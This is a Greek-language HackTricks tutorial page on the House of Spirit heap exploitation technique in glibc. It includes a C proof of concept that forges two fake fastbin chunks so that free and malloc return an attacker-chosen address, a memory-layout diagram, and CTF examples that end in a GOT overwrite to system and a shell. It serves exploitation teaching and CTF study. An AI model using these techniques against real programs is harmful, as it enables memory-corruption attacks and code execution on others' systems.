House of Spirit

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Κώδικας

Σπίτι του Πνεύματος

```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf("Victim: %p\n", victim);

return 0; }

</details>

### Στόχος

* Να είναι δυνατή η προσθήκη μιας διεύθυνσης στο tcache / fast bin ώστε αργότερα να είναι δυνατή η εκχώρησή της

### Απαιτήσεις

* Αυτή η επίθεση απαιτεί από τον εισβολέα να μπορεί να δημιουργήσει μερικά ψεύτικα γρήγορα τμήματα (fast chunks) που υποδεικνύουν σωστά την τιμή του μεγέθους τους και στη συνέχεια να μπορεί να ελευθερώσει το πρώτο ψεύτικο τμήμα ώστε να μπει στο bin.

### Επίθεση

* Δημιουργήστε ψεύτικα τμήματα που παρακάμπτουν τους ελέγχους ασφαλείας: θα χρειαστείτε 2 ψεύτικα τμήματα που υποδεικνύουν στις σωστές θέσεις τις σωστές τιμές μεγέθους
* Κάπως διαχειριστείτε να ελευθερώσετε το πρώτο ψεύτικο τμήμα ώστε να μπει στο γρήγορο ή tcache bin και στη συνέχεια να το εκχωρήσετε για να αντικαταστήσετε αυτήν τη διεύθυνση

**Ο κώδικας από τον** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **είναι εξαιρετικός για να κατανοήσετε την επίθεση.** Παρόλο που αυτό το σχήμα από τον κώδικα το περιλαμβάνει αρκετά καλά:
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Σημειώστε ότι είναι απαραίτητο να δημιουργήσετε το δεύτερο κομμάτι προκειμένου να παρακάμψετε μερικούς ελέγχους ακεραιότητας.

Παραδείγματα

  • Διαρροή πληροφοριών Libc: Μέσω ενός υπερχείλισης είναι δυνατή η αλλαγή ενός δείκτη ώστε να δείχνει σε μια διεύθυνση GOT προκειμένου να διαρρεύσει μια διεύθυνση Libc μέσω της ενέργειας ανάγνωσης του CTF

  • House of Spirit: Εκμεταλλευόμενοι ένα μετρητή που μετρά τον αριθμό των "ριφλετών" είναι δυνατόν να δημιουργηθεί μια ψεύτικη μέγεθος του πρώτου ψεύτικου κομματιού, στη συνέχεια εκμεταλλευόμενοι ένα "μήνυμα" είναι δυνατόν να ψεύτικο το δεύτερο μέγεθος ενός κομματιού και τελικά εκμεταλλευόμενοι ένα υπερχείλιση είναι δυνατόν να αλλάξετε ένα δείκτη που θα απελευθερωθεί έτσι ώστε το πρώτο ψεύτικο κομμάτι μας να απελευθερωθεί. Στη συνέχεια, μπορούμε να το εκχωρήσουμε και μέσα σε αυτό θα υπάρχει η διεύθυνση όπου αποθηκεύεται το "μήνυμα". Στη συνέχεια, είναι δυνατόν να κάνουμε αυτό να δείχνει στην είσοδο scanf μέσα στον πίνακα GOT, έτσι ώστε να το αντικαταστήσουμε με τη διεύθυνση προς το σύστημα. Την επόμενη φορά που καλείται το scanf, μπορούμε να στείλουμε την είσοδο "/bin/sh" και να λάβουμε ένα κέλυφος.

  • Διαρροή Glibc: Μη αρχικοποιημένος buffer στο stack.

  • House of Spirit: Μπορούμε να τροποποιήσουμε τον πρώτο δείκτη ενός παγκόσμιου πίνακα δεικτών στο σωρό. Με την τροποποίηση ενός μόνο byte, χρησιμοποιούμε το free σε ένα ψεύτικο κομμάτι μέσα σε ένα έγκυρο κομμάτι, ώστε να έχουμε μια κατάσταση επικάλυψης κομματιών μετά την επανάθεση. Με αυτό, μια απλή επίθεση δηλητηρίασης Tcache λειτουργεί για να λάβει ένα αυθαίρετο γραπτό πρωτότυπο.

Αναφορές

Last updated